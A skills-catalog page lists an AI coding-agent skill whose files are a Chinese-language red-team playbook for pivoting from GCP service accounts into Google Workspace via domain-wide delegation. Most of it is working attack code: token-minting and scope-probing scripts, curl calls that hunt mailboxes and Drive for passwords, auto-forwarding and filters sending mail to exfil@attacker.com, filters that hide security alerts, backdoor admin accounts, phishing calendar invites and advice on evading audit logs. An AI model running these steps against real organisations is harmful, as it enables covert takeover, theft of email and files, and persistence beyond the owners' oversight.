
Gcp Workspace Pivot
- 22 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
gcp-workspace-pivot is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- gcp-workspace-pivot
- AI & Agent Building
- AI-coding skill
Gcp Workspace Pivot by the numbers
- 22 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #10,169 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill gcp-workspace-pivotAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 22 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
GCP 到 Google Workspace 穿越攻击方法论
GCP 与 Google Workspace 同属 Google Cloud 生态,二者通过 IAM 和 OAuth 深度绑定。当攻击者拿到 GCP Service Account 或 Project 权限后,若目标组织同时使用 Google Workspace(原 G Suite),就可能从云基础设施穿越到企业办公系统——直接访问全员邮件、文件、日历、通讯录乃至管理控制台。
为什么这个穿越如此致命:
- 影响面极大:一个配置了 Domain-Wide Delegation(DWD)的 Service Account 可冒充组织内任意用户
- 权限升级无感知:DWD 滥用不需要目标用户交互或确认,被冒充的用户完全无感
- 数据价值极高:企业邮件(Gmail)、共享文件(Drive)、会议日程(Calendar)、组织架构(Admin Directory)全部可被访问
- 攻击路径隐蔽:通过 Service Account 生成的 OAuth Token 访问 Workspace API,不同于用户直接登录,很多组织缺少对此类访问的监控
深入参考
识别到具体 Workspace 后渗透场景后,加载参考文档获取完整技术细节:
- Workspace 各服务后渗透操作(Gmail/Drive/Calendar/Admin Directory/Chat)与持久化技术 → 读 references/workspace-post-exploit.md
核心概念:Domain-Wide Delegation(DWD)
DWD 是什么
Domain-Wide Delegation 是 Google Workspace 的一项功能,允许 GCP Service Account 代表 Workspace 域内的任意用户访问 Google API。其工作流程:
1. Service Account 使用私钥签署 JWT(声明要冒充的用户和请求的 OAuth scope)
2. JWT 发送到 Google OAuth 2.0 服务,请求 Access Token
3. Google 验证 DWD 配置后返回 Access Token(代表目标用户)
4. 使用该 Token 调用 Google API(Gmail/Drive/Calendar 等),以目标用户身份操作为什么 DWD 危险
- 配置 DWD 时只需 Service Account 的 OAuth Client ID 和 OAuth Scope,不绑定特定用户
- 一旦配置,该 SA 可冒充域内任意用户,包括 Super Admin
- DWD 配置只能在 Admin Console 手动管理,无法通过 API 审计其历史变更
- 许多组织为了自动化工作流而配置 DWD,但未做最小权限限制
DWD 滥用的前提条件
| 条件 | 说明 |
|---|---|
| 拥有 SA 私钥或可创建新密钥 | iam.serviceAccountKeys.create 权限 |
| SA 已配置 DWD | Admin Console 中已授权该 SA 的 Client ID |
| 知道至少一个有效 Workspace 用户邮箱 | 用于冒充,Super Admin 效果最佳 |
| SA 被授权了有用的 OAuth Scope | 如 Gmail、Drive、Admin Directory 等 |
攻击链:发现并利用 DWD
Step 1:枚举 GCP 项目中的 Service Account
# 列出当前项目的所有 Service Account
gcloud iam service-accounts list --project <project-id>
# 枚举所有可访问项目
for proj in $(gcloud projects list --format="value(projectId)"); do
echo "=== Project: $proj ==="
gcloud iam service-accounts list --project "$proj" \
--format="table(email,displayName,disabled)" 2>/dev/null
doneStep 2:检查 SA 的密钥和权限
# 列出 SA 的现有密钥
gcloud iam service-accounts keys list \
--iam-account <sa-email> \
--format="table(name,validAfterTime,validBeforeTime,keyType)"
# 检查当前用户对 SA 的权限(能否创建密钥)
gcloud iam service-accounts get-iam-policy <sa-email>
# 创建新密钥(如有权限)
gcloud iam service-accounts keys create ./sa-key.json \
--iam-account <sa-email>Step 3:识别 DWD 配置
DWD 配置无法通过 GCP API 直接查询,需要间接判断:
# 获取 SA 的 OAuth2 Client ID(唯一标识,用于 DWD 配置)
gcloud iam service-accounts describe <sa-email> \
--format="value(oauth2ClientId)"
# 暴力尝试法:用 SA 密钥尝试生成委托令牌
# 如果成功,说明该 SA 已配置 DWD自动化发现:使用 DeleFriend 工具可批量枚举所有 SA 并尝试各种 OAuth Scope 组合来发现 DWD 配置。
Step 4:生成委托令牌并冒充用户
from google.oauth2 import service_account
import google.auth.transport.requests
# 目标 OAuth Scope(根据需要选择)
SCOPES = [
'https://www.googleapis.com/auth/gmail.readonly',
'https://www.googleapis.com/auth/drive.readonly',
'https://www.googleapis.com/auth/calendar.readonly',
'https://www.googleapis.com/auth/admin.directory.user.readonly',
'https://www.googleapis.com/auth/admin.directory.group.readonly',
]
# 加载 SA 凭据并设置委托用户
credentials = service_account.Credentials.from_service_account_file(
'sa-key.json', scopes=SCOPES
)
# 冒充目标用户(Super Admin 效果最佳)
delegated_creds = credentials.with_subject('admin@target-org.com')
# 获取 Access Token
request = google.auth.transport.requests.Request()
delegated_creds.refresh(request)
print(f"Access Token: {delegated_creds.token}")# 使用生成的 Token 调用 API
TOKEN="<上一步获取的 token>"
# 测试 Gmail 访问
curl -s -H "Authorization: Bearer $TOKEN" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages?maxResults=5"
# 测试 Drive 访问
curl -s -H "Authorization: Bearer $TOKEN" \
"https://www.googleapis.com/drive/v3/files?pageSize=10"Step 5:批量尝试 OAuth Scope
当不确定 SA 被授权了哪些 Scope 时,逐个尝试:
"""批量尝试不同 OAuth Scope 组合,发现 SA 的 DWD 权限范围"""
from google.oauth2 import service_account
import google.auth.transport.requests
SCOPE_LIST = [
'https://mail.google.com/',
'https://www.googleapis.com/auth/gmail.readonly',
'https://www.googleapis.com/auth/drive',
'https://www.googleapis.com/auth/drive.readonly',
'https://www.googleapis.com/auth/calendar',
'https://www.googleapis.com/auth/calendar.readonly',
'https://www.googleapis.com/auth/admin.directory.user',
'https://www.googleapis.com/auth/admin.directory.user.readonly',
'https://www.googleapis.com/auth/admin.directory.group',
'https://www.googleapis.com/auth/admin.directory.domain',
'https://www.googleapis.com/auth/cloud-platform',
'https://www.googleapis.com/auth/contacts.readonly',
'https://www.googleapis.com/auth/chat.messages.readonly',
]
for scope in SCOPE_LIST:
try:
creds = service_account.Credentials.from_service_account_file(
'sa-key.json', scopes=[scope]
)
delegated = creds.with_subject('admin@target-org.com')
delegated.refresh(google.auth.transport.requests.Request())
print(f"[+] 有效 Scope: {scope}")
except Exception as e:
print(f"[-] 无效 Scope: {scope} ({e})")决策树:GCP 权限 → Workspace 穿越路径
当前 GCP 权限级别?
├─ 拥有 SA 私钥文件
│ ├─ SA 已配置 DWD → 直接生成委托令牌冒充任意用户
│ └─ SA 未配置 DWD → 检查其他 SA / 尝试创建新 DWD(需 Workspace Admin)
│
├─ 可创建 SA 密钥(iam.serviceAccountKeys.create)
│ ├─ 枚举所有 SA → 为每个 SA 创建密钥 → 尝试 DWD
│ └─ 使用 DeleFriend 自动化枚举
│
├─ 拥有 Workspace Super Admin(通过 GCP 提权获得)
│ ├─ 创建新 SA + 配置 DWD → 完全控制 Workspace
│ └─ 直接通过 Admin Console 操作(不需 DWD)
│
├─ 普通 Workspace 用户凭据
│ ├─ 创建新 GCP 项目 → 启用 API → 枚举 Workspace
│ ├─ 加入开放的 Google Groups → 获取额外 GCP 权限
│ └─ gcloud auth login --enable-gdrive-access → 访问 Drive
│
└─ 仅有 GCP 项目 Viewer
└─ 枚举 SA 列表 → 寻找可利用的 SA → 尝试提权路径OAuth Scope 利用速查
高价值 Scope 列表
| OAuth Scope | 能力 | 危险等级 |
|---|---|---|
https://mail.google.com/ | Gmail 完全读写(含发送) | 极高 |
https://www.googleapis.com/auth/gmail.readonly | 读取所有邮件 | 高 |
https://www.googleapis.com/auth/drive | Drive 完全读写 | 极高 |
https://www.googleapis.com/auth/admin.directory.user | 用户管理(创建/删除用户) | 极高 |
https://www.googleapis.com/auth/admin.directory.group | 组管理 | 高 |
https://www.googleapis.com/auth/admin.directory.domain | 域管理 | 极高 |
https://www.googleapis.com/auth/calendar | 日历完全读写 | 中 |
https://www.googleapis.com/auth/contacts | 通讯录读写 | 中 |
https://www.googleapis.com/auth/chat.messages | Chat 消息读写 | 中 |
https://www.googleapis.com/auth/cloud-platform | GCP 全权限 | 极高 |
gcloud 凭据劫持
当物理访问到已登录 gcloud 的主机时,可以劫持已有凭据来访问 Workspace:
# 检查已认证的账户
gcloud auth list
# 使用 --enable-gdrive-access 重新登录,扩展 Scope 到 Drive
gcloud auth login --enable-gdrive-access
# 用获取的 Token 访问 Drive API
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://www.googleapis.com/drive/v3/files"高级手法:修改 google-cloud-sdk/lib/googlecloudsdk/core/config.py 中的 CLOUDSDK_SCOPES,注入额外的 OAuth Scope(如 https://www.googleapis.com/auth/drive),下次用户登录时 Token 自动携带该 Scope。
Workspace 数据窃取速查
→ 读 references/workspace-post-exploit.md
| 服务 | 关键 API | 典型操作 |
|---|---|---|
| Gmail | gmail.googleapis.com/gmail/v1/users/me/messages | 搜索/读取邮件,提取附件 |
| Drive | www.googleapis.com/drive/v3/files | 列出/下载文件,搜索敏感文档 |
| Calendar | www.googleapis.com/calendar/v3/calendars | 读取会议安排,查看参会人 |
| Admin Directory | admin.googleapis.com/admin/directory/v1/users | 枚举用户/组/域,修改角色 |
| Chat | chat.googleapis.com/v1/spaces | 读取 Chat 消息 |
| Contacts | people.googleapis.com/v1/people/me/connections | 获取通讯录 |
快速数据提取命令
TOKEN="<delegated_access_token>"
# Gmail:搜索含密码的邮件
curl -s -H "Authorization: Bearer $TOKEN" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages?q=password+OR+credential+OR+密码"
# Drive:搜索敏感文件
curl -s -H "Authorization: Bearer $TOKEN" \
"https://www.googleapis.com/drive/v3/files?q=name+contains+'password'+or+name+contains+'credential'&fields=files(id,name,mimeType)"
# Admin Directory:枚举所有用户
curl -s -H "Authorization: Bearer $TOKEN" \
"https://admin.googleapis.com/admin/directory/v1/users?domain=target-org.com&maxResults=500"
# Admin Directory:枚举所有组
curl -s -H "Authorization: Bearer $TOKEN" \
"https://admin.googleapis.com/admin/directory/v1/groups?domain=target-org.com"Workspace 持久化概览
| 技术 | 前置条件 | 隐蔽性 | 持久性 |
|---|---|---|---|
| 创建新 DWD 配置 | Workspace Super Admin | 中 | 永久(直到手动删除) |
| 跨组织 DWD | 攻击者 GCP 账户 + 目标 Super Admin | 高 | 永久 |
| Gmail 转发规则 | 被冒充用户身份 | 低 | 持续(直到发现) |
| Gmail 过滤器隐藏告警 | 被冒充用户身份 | 高 | 持续 |
| OAuth App 授权 | 用户交互或 Admin 权限 | 中 | 直到撤销 |
| 委托邮箱访问 | 用户设置或 Admin 权限 | 中 | 直到撤销 |
| 创建后门管理员账户 | Admin Directory 写权限 | 低 | 直到发现 |
| App Script 定时触发 | 用户交互 | 高 | 持续 |
| 修改 gcloud SDK Scope | 主机物理/远程访问 | 高 | 直到 SDK 更新 |
创建新 DWD 实现持久化:
# 1. 在攻击者控制的 GCP 项目中创建 SA
gcloud iam service-accounts create backdoor-sa \
--project <attacker-project>
gcloud iam service-accounts keys create backdoor-key.json \
--iam-account backdoor-sa@<attacker-project>.iam.gserviceaccount.com
# 2. 获取 SA 的 OAuth Client ID
gcloud iam service-accounts describe \
backdoor-sa@<attacker-project>.iam.gserviceaccount.com \
--format="value(oauth2ClientId)"
# 3. 在目标 Workspace Admin Console 中添加 DWD
# https://admin.google.com/ac/owl/domainwidedelegation
# 填入 Client ID 和所需 OAuth Scope
# 注意:此步骤只能手动操作,无法通过 API 完成关键发现:DWD 的 OAuth Client ID 是全局的,跨组织 DWD 是可行的——攻击者 GCP 项目的 SA 可以被配置为目标 Workspace 组织的委托身份。只需要目标 Workspace 的 Super Admin 访问权限即可完成配置。
推荐工具
| 工具 | 用途 | 链接/命令 |
|---|---|---|
| DeleFriend | 自动化 DWD 发现与利用 | github.com/axon-git/DeleFriend |
| DelePwn | DeleFriend 增强版,含域枚举/Drive/Gmail | github.com/n0tspam/delepwn |
| gcpwn | GCP 综合利用框架 | github.com/NetSPI/gcpwn |
| gcp_delegation.py | Gitlab 红队 DWD 利用脚本 | gitlab.com/gitlab-com/gl-security/.../gcp_delegation.py |
| gcp_gen_delegation_token | 生成委托 OAuth Token | github.com/carlospolop/gcp_gen_delegation_token |
| google-api-python-client | Google API Python SDK | pip install google-api-python-client |
| PaperChaser | Drive 文档蜘蛛爬取 | github.com/mandatoryprogrammer/PaperChaser |
OPSEC 注意事项
Workspace 审计日志
Google Workspace Admin Console 的审计日志会记录以下操作:
- Admin 审计日志:用户/组的创建、删除、权限变更
- 登录审计日志:登录事件(但 SA 冒充不产生登录日志)
- Drive 审计日志:文件查看、下载、共享、权限变更
- Gmail 审计日志:委托访问、邮件规则变更
- Token 审计日志:OAuth Token 授权和撤销
- SAML 审计日志:SSO 相关事件
高危告警触发器
| 操作 | 告警级别 | 说明 |
|---|---|---|
| 创建新 Admin 用户 | 高 | Admin 审计日志 + 邮件通知 |
| 新增 DWD 配置 | 中 | Admin 审计日志(但很多组织未监控) |
| 大量 API 调用 | 中 | 异常流量检测 |
| 跨地理位置 Token 使用 | 低 | SA Token 通常无地理限制 |
| Gmail 转发规则变更 | 高 | 安全告警推送到用户手机 |
| OAuth App 授权 | 中 | 取决于组织策略 |
OPSEC 建议
- 冒充 SA 而非用户登录:SA 通过 DWD 生成的 Token 不会触发用户登录告警
- 控制 API 调用速率:避免短时间大量请求触发异常检测
- 优先使用只读 Scope:
readonlyScope 比读写 Scope 产生更少审计条目 - 选择冒充目标:不一定要冒充 Super Admin,普通用户的操作更不易引起关注
- Gmail 操作谨慎:创建转发规则/过滤器会触发安全告警推送到用户手机
交叉引用
- 参考
gcp-pentesting技能,获取 GCP 整体攻击流程和初始权限获取方法 - 参考
gcp-exploit技能,获取 GCP 权限提升和 Service Account 相关利用技术
Workspace 后渗透技术详解
通过 DWD 或其他方式获得 Workspace API 访问权限后,本文档覆盖各服务的具体后渗透操作。所有命令使用通过 DWD 获取的 $TOKEN 进行认证。
# 通用请求格式
# 所有 API 调用都使用 Bearer Token 认证
TOKEN="<通过 DWD 生成的 access_token>"
AUTH="Authorization: Bearer $TOKEN"Gmail 后渗透
Gmail 是 Workspace 中信息密度最高的服务——包含内部沟通、密码重置链接、系统通知、附件等。
搜索与读取邮件
# 搜索含敏感关键词的邮件
curl -s -H "$AUTH" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages?q=password+OR+secret+OR+credential+OR+API+key"
# 搜索特定发件人的邮件
curl -s -H "$AUTH" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages?q=from:aws-account@amazon.com"
# 搜索含附件的邮件
curl -s -H "$AUTH" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages?q=has:attachment+filename:pdf+OR+filename:xlsx"
# 读取邮件完整内容
curl -s -H "$AUTH" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages/<message_id>?format=full"
# 获取邮件元数据(发件人、收件人、主题、时间)
curl -s -H "$AUTH" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages/<message_id>?format=metadata&metadataHeaders=From&metadataHeaders=To&metadataHeaders=Subject&metadataHeaders=Date"下载附件
# 列出邮件中的附件
curl -s -H "$AUTH" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages/<message_id>" \
| python3 -c "
import json,sys
msg = json.load(sys.stdin)
for part in msg.get('payload',{}).get('parts',[]):
if part.get('filename'):
print(f\"Attachment: {part['filename']} | ID: {part['body'].get('attachmentId')}\")"
# 下载特定附件
curl -s -H "$AUTH" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages/<message_id>/attachments/<attachment_id>" \
| python3 -c "
import json,sys,base64
data = json.load(sys.stdin)['data']
sys.stdout.buffer.write(base64.urlsafe_b64decode(data))" > attachment.bin发送邮件(需要完整 Gmail scope)
"""以被冒充用户身份发送邮件——可用于钓鱼或社工"""
import base64
from email.mime.text import MIMEText
import requests
def send_email(token, to, subject, body):
message = MIMEText(body)
message['to'] = to
message['subject'] = subject
raw = base64.urlsafe_b64encode(message.as_bytes()).decode()
requests.post(
'https://gmail.googleapis.com/gmail/v1/users/me/messages/send',
headers={'Authorization': f'Bearer {token}'},
json={'raw': raw}
)邮件委托访问
# 列出当前用户的邮件委托
curl -s -H "$AUTH" \
"https://gmail.googleapis.com/gmail/v1/users/me/settings/delegates"
# 添加委托(允许另一用户读取邮件)
curl -s -H "$AUTH" -X POST \
"https://gmail.googleapis.com/gmail/v1/users/me/settings/delegates" \
-H "Content-Type: application/json" \
-d '{"delegateEmail": "attacker@target-org.com"}'邮件转发规则(持久化)
# 查看现有转发地址
curl -s -H "$AUTH" \
"https://gmail.googleapis.com/gmail/v1/users/me/settings/forwardingAddresses"
# 创建转发地址(需要目标邮箱确认)
curl -s -H "$AUTH" -X POST \
"https://gmail.googleapis.com/gmail/v1/users/me/settings/forwardingAddresses" \
-H "Content-Type: application/json" \
-d '{"forwardingEmail": "exfil@attacker.com"}'
# 启用自动转发
curl -s -H "$AUTH" -X PUT \
"https://gmail.googleapis.com/gmail/v1/users/me/settings/autoForwarding" \
-H "Content-Type: application/json" \
-d '{"enabled": true, "emailAddress": "exfil@attacker.com", "disposition": "leaveInInbox"}'邮件过滤器(隐蔽持久化)
# 创建过滤器:将含特定关键词的邮件自动转发
curl -s -H "$AUTH" -X POST \
"https://gmail.googleapis.com/gmail/v1/users/me/settings/filters" \
-H "Content-Type: application/json" \
-d '{
"criteria": {"query": "password OR secret OR credential OR invoice"},
"action": {"forward": "exfil@attacker.com"}
}'
# 创建过滤器:隐藏安全告警邮件(阻止用户发现异常)
curl -s -H "$AUTH" -X POST \
"https://gmail.googleapis.com/gmail/v1/users/me/settings/filters" \
-H "Content-Type: application/json" \
-d '{
"criteria": {"from": "no-reply@accounts.google.com", "query": "Security Alert"},
"action": {"removeLabelIds": ["INBOX"], "addLabelIds": ["TRASH"]}
}'
# 列出所有过滤器
curl -s -H "$AUTH" \
"https://gmail.googleapis.com/gmail/v1/users/me/settings/filters"Drive 后渗透
Google Drive 通常存储大量内部文档、配置文件、数据库导出、密码表等。
搜索与列出文件
# 列出所有文件(分页)
curl -s -H "$AUTH" \
"https://www.googleapis.com/drive/v3/files?pageSize=100&fields=files(id,name,mimeType,size,modifiedTime,owners)"
# 搜索敏感文件名
curl -s -H "$AUTH" \
"https://www.googleapis.com/drive/v3/files?q=name+contains+'password'+or+name+contains+'credential'+or+name+contains+'secret'+or+name+contains+'密码'&fields=files(id,name,mimeType)"
# 搜索特定类型文件(如 Excel/CSV)
curl -s -H "$AUTH" \
"https://www.googleapis.com/drive/v3/files?q=mimeType='application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'+or+mimeType='text/csv'&fields=files(id,name)"
# 搜索共享给整个域的文件
curl -s -H "$AUTH" \
"https://www.googleapis.com/drive/v3/files?q=visibility='domainCanFind'&fields=files(id,name,permissions)"
# 全文搜索文件内容
curl -s -H "$AUTH" \
"https://www.googleapis.com/drive/v3/files?q=fullText+contains+'AWS_ACCESS_KEY'&fields=files(id,name)"下载文件
# 下载二进制文件(PDF、图片、压缩包等)
curl -s -H "$AUTH" \
"https://www.googleapis.com/drive/v3/files/<file_id>?alt=media" -o downloaded_file
# 导出 Google Docs 为 PDF
curl -s -H "$AUTH" \
"https://www.googleapis.com/drive/v3/files/<file_id>/export?mimeType=application/pdf" -o doc.pdf
# 导出 Google Sheets 为 CSV
curl -s -H "$AUTH" \
"https://www.googleapis.com/drive/v3/files/<file_id>/export?mimeType=text/csv" -o sheet.csv文件分享与外传
# 将文件分享给外部邮箱
curl -s -H "$AUTH" -X POST \
"https://www.googleapis.com/drive/v3/files/<file_id>/permissions" \
-H "Content-Type: application/json" \
-d '{"role": "reader", "type": "user", "emailAddress": "attacker@external.com"}'
# 生成"任何人可访问"的共享链接
curl -s -H "$AUTH" -X POST \
"https://www.googleapis.com/drive/v3/files/<file_id>/permissions" \
-H "Content-Type: application/json" \
-d '{"role": "reader", "type": "anyone"}'文件版本历史
# 查看文件修订历史(可恢复已删除的敏感内容)
curl -s -H "$AUTH" \
"https://www.googleapis.com/drive/v3/files/<file_id>/revisions?fields=revisions(id,modifiedTime,lastModifyingUser)"
# 下载特定版本
curl -s -H "$AUTH" \
"https://www.googleapis.com/drive/v3/files/<file_id>/revisions/<revision_id>?alt=media" -o old_versionCalendar 后渗透
日历泄露会议安排、参会人信息、会议链接、敏感议题等。
读取日历事件
# 列出所有日历
curl -s -H "$AUTH" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
# 获取未来事件
curl -s -H "$AUTH" \
"https://www.googleapis.com/calendar/v3/calendars/primary/events?timeMin=$(date -u +%Y-%m-%dT%H:%M:%SZ)&maxResults=50&orderBy=startTime&singleEvents=true"
# 搜索含关键词的事件
curl -s -H "$AUTH" \
"https://www.googleapis.com/calendar/v3/calendars/primary/events?q=board+meeting+OR+security+review+OR+incident"注入日历事件(社工/钓鱼)
# 创建虚假会议邀请(含钓鱼链接)
curl -s -H "$AUTH" -X POST \
"https://www.googleapis.com/calendar/v3/calendars/primary/events" \
-H "Content-Type: application/json" \
-d '{
"summary": "Q4 Security Review - Action Required",
"description": "Please review the updated security policy: https://attacker-phishing-site.com/policy",
"start": {"dateTime": "2026-04-25T10:00:00+08:00"},
"end": {"dateTime": "2026-04-25T11:00:00+08:00"},
"attendees": [{"email": "target@target-org.com"}]
}'Admin Directory 后渗透
Admin Directory API 提供组织架构的完整视图。需要 admin.directory.* Scope,且冒充的用户需要有 Admin 权限。
用户枚举
# 列出所有用户
curl -s -H "$AUTH" \
"https://admin.googleapis.com/admin/directory/v1/users?domain=target-org.com&maxResults=500&fields=users(primaryEmail,name,isAdmin,isDelegatedAdmin,lastLoginTime,creationTime)"
# 筛选管理员用户
curl -s -H "$AUTH" \
"https://admin.googleapis.com/admin/directory/v1/users?domain=target-org.com&query=isAdmin=true"
# 获取特定用户详情
curl -s -H "$AUTH" \
"https://admin.googleapis.com/admin/directory/v1/users/<user-email>?projection=full"组管理
# 列出所有组
curl -s -H "$AUTH" \
"https://admin.googleapis.com/admin/directory/v1/groups?domain=target-org.com&maxResults=200"
# 列出组成员
curl -s -H "$AUTH" \
"https://admin.googleapis.com/admin/directory/v1/groups/<group-email>/members"
# 将攻击者添加到高权限组
curl -s -H "$AUTH" -X POST \
"https://admin.googleapis.com/admin/directory/v1/groups/<group-email>/members" \
-H "Content-Type: application/json" \
-d '{"email": "attacker@target-org.com", "role": "MEMBER"}'角色与权限管理
# 列出所有 Admin 角色
curl -s -H "$AUTH" \
"https://admin.googleapis.com/admin/directory/v1/customer/my_customer/roles"
# 列出角色分配
curl -s -H "$AUTH" \
"https://admin.googleapis.com/admin/directory/v1/customer/my_customer/roleassignments"
# 为用户分配 Super Admin 角色(角色 ID 通常为固定值)
curl -s -H "$AUTH" -X POST \
"https://admin.googleapis.com/admin/directory/v1/customer/my_customer/roleassignments" \
-H "Content-Type: application/json" \
-d '{"roleId": "<super_admin_role_id>", "assignedTo": "<user_id>", "scopeType": "CUSTOMER"}'域管理
# 列出组织的所有域
curl -s -H "$AUTH" \
"https://admin.googleapis.com/admin/directory/v1/customer/my_customer/domains"
# 获取组织单元信息
curl -s -H "$AUTH" \
"https://admin.googleapis.com/admin/directory/v1/customer/my_customer/orgunits?type=all"Admin Console 操作
通过 Admin SDK 和 Reports API 可以执行更深层次的管理操作。
组织单元操控
# 将用户移到不同组织单元(可能降低其安全策略)
curl -s -H "$AUTH" -X PUT \
"https://admin.googleapis.com/admin/directory/v1/users/<user-email>" \
-H "Content-Type: application/json" \
-d '{"orgUnitPath": "/Less-Restricted-OU"}'已安装应用管理
# 列出域中的 OAuth App Token
curl -s -H "$AUTH" \
"https://admin.googleapis.com/admin/directory/v1/users/<user-email>/tokens"
# 查看 Marketplace 已安装的应用
# 通过 Reports API 获取应用使用情况
curl -s -H "$AUTH" \
"https://admin.googleapis.com/admin/reports/v1/activity/users/all/applications/token?eventName=authorize"Chat 与 Meet
Chat 消息访问
# 列出 Chat Spaces
curl -s -H "$AUTH" \
"https://chat.googleapis.com/v1/spaces"
# 列出 Space 中的消息
curl -s -H "$AUTH" \
"https://chat.googleapis.com/v1/spaces/<space_name>/messages"
# 搜索消息(如有权限)
curl -s -H "$AUTH" \
"https://chat.googleapis.com/v1/spaces/<space_name>/messages?filter=text+contains+%22password%22"OAuth App 持久化
通过在 Workspace 中安装恶意 OAuth App 实现持久化访问。
内部 OAuth App
攻击流程:
1. 在攻击者控制的 GCP 项目中创建 OAuth Client
2. 配置所需的 Scope(Gmail/Drive/Calendar 等)
3. 如果目标 Workspace 允许内部 App → 直接安装
4. 如果只允许域内 App → 需要在目标组织的 GCP 项目中创建
5. App 获得用户授权后,持有长期有效的 Refresh TokenOAuth App 权限检查
# 查看用户已授权的第三方 App
curl -s -H "$AUTH" \
"https://admin.googleapis.com/admin/directory/v1/users/<user-email>/tokens"
# 撤销特定 App 的授权(防御方使用)
curl -s -H "$AUTH" -X DELETE \
"https://admin.googleapis.com/admin/directory/v1/users/<user-email>/tokens/<client_id>"Workspace 级持久化技术
1. 后门管理员账户
# 创建新用户
curl -s -H "$AUTH" -X POST \
"https://admin.googleapis.com/admin/directory/v1/users" \
-H "Content-Type: application/json" \
-d '{
"primaryEmail": "svc-monitoring@target-org.com",
"name": {"givenName": "Service", "familyName": "Monitor"},
"password": "C0mpl3x-P@ssw0rd!",
"changePasswordAtNextLogin": false,
"orgUnitPath": "/"
}'
# 分配 Admin 权限
curl -s -H "$AUTH" -X POST \
"https://admin.googleapis.com/admin/directory/v1/customer/my_customer/roleassignments" \
-H "Content-Type: application/json" \
-d '{"roleId": "<admin_role_id>", "assignedTo": "<new_user_id>", "scopeType": "CUSTOMER"}'2. 委托管理员
# 将现有普通用户提升为委托管理员(比 Super Admin 更隐蔽)
curl -s -H "$AUTH" -X POST \
"https://admin.googleapis.com/admin/directory/v1/customer/my_customer/roleassignments" \
-H "Content-Type: application/json" \
-d '{"roleId": "<delegated_admin_role_id>", "assignedTo": "<user_id>", "scopeType": "CUSTOMER"}'3. Domain-Wide Delegation 后门
最强持久化手段(详见 SKILL.md):
1. 创建新 SA(可在攻击者自己的 GCP 项目中)
2. 在目标 Workspace Admin Console 配置 DWD
3. 即使目标更换所有用户密码,SA 仍可通过 DWD 冒充任意用户
4. 跨组织 DWD 使得后门完全独立于目标 GCP 环境4. Google Vault 数据提取
# 如果组织启用了 Google Vault,可以创建导出任务
# Vault 包含所有用户的邮件、Drive、Chat 历史记录
# 访问地址: https://vault.google.com
# 需要 Vault Admin 权限5. App Script 定时后门
利用 Google Apps Script 创建持久化:
1. 创建一个 App Script 项目
2. 编写数据外传代码(定时读取 Gmail/Drive 并发送到外部)
3. 设置 Time-Driven Trigger(如每小时执行一次)
4. Script 在用户不活跃时仍会自动执行
5. 触发器列表在 script.google.com 中可见,但普通用户很少检查检测与规避
Workspace 审计日志位置
| 日志类型 | 位置 | 记录内容 |
|---|---|---|
| Admin 审计 | Admin Console > Reports > Audit > Admin | 用户/组/域管理操作 |
| 登录审计 | Admin Console > Reports > Audit > Login | 用户登录事件 |
| Drive 审计 | Admin Console > Reports > Audit > Drive | 文件操作 |
| Gmail 日志搜索 | Admin Console > Email Log Search | 邮件元数据 |
| Token 审计 | Admin Console > Reports > Audit > Token | OAuth 授权事件 |
| Rules 审计 | Admin Console > Reports > Audit > Rules | 规则变更 |
高风险操作及检测
| 操作 | 审计日志事件 | 检测难度 |
|---|---|---|
| SA 冒充用户调用 API | 不产生用户登录日志 | 高(仅 API 调用日志) |
| 创建新用户 | Admin > CREATE_USER | 低 |
| 修改用户角色 | Admin > ASSIGN_ROLE | 低 |
| 创建邮件转发规则 | Gmail settings change + 安全告警推送 | 低 |
| 创建邮件过滤器 | Gmail settings change | 中 |
| 下载 Drive 文件 | Drive > download | 中 |
| 修改文件权限 | Drive > change_user_access | 中 |
| 新增 DWD 配置 | Admin > AUTHORIZE_API_CLIENT_ACCESS | 中 |
| OAuth App 授权 | Token > authorize | 中 |
规避建议
- DWD 冒充是最隐蔽的访问方式:不触发目标用户的登录告警、不需要用户密码、不产生登录审计日志
- 批量操作分散时间:将大量 API 调用分散到数小时/数天内
- 使用只读操作:读取邮件和文件比修改或发送产生更少关注
- 避免触碰 Admin 操作:创建用户、修改角色等操作在审计日志中非常显眼
- 冒充普通用户:Super Admin 的操作比普通员工更容易被审计
- 清理痕迹困难:Workspace 审计日志由 Google 托管,攻击者无法删除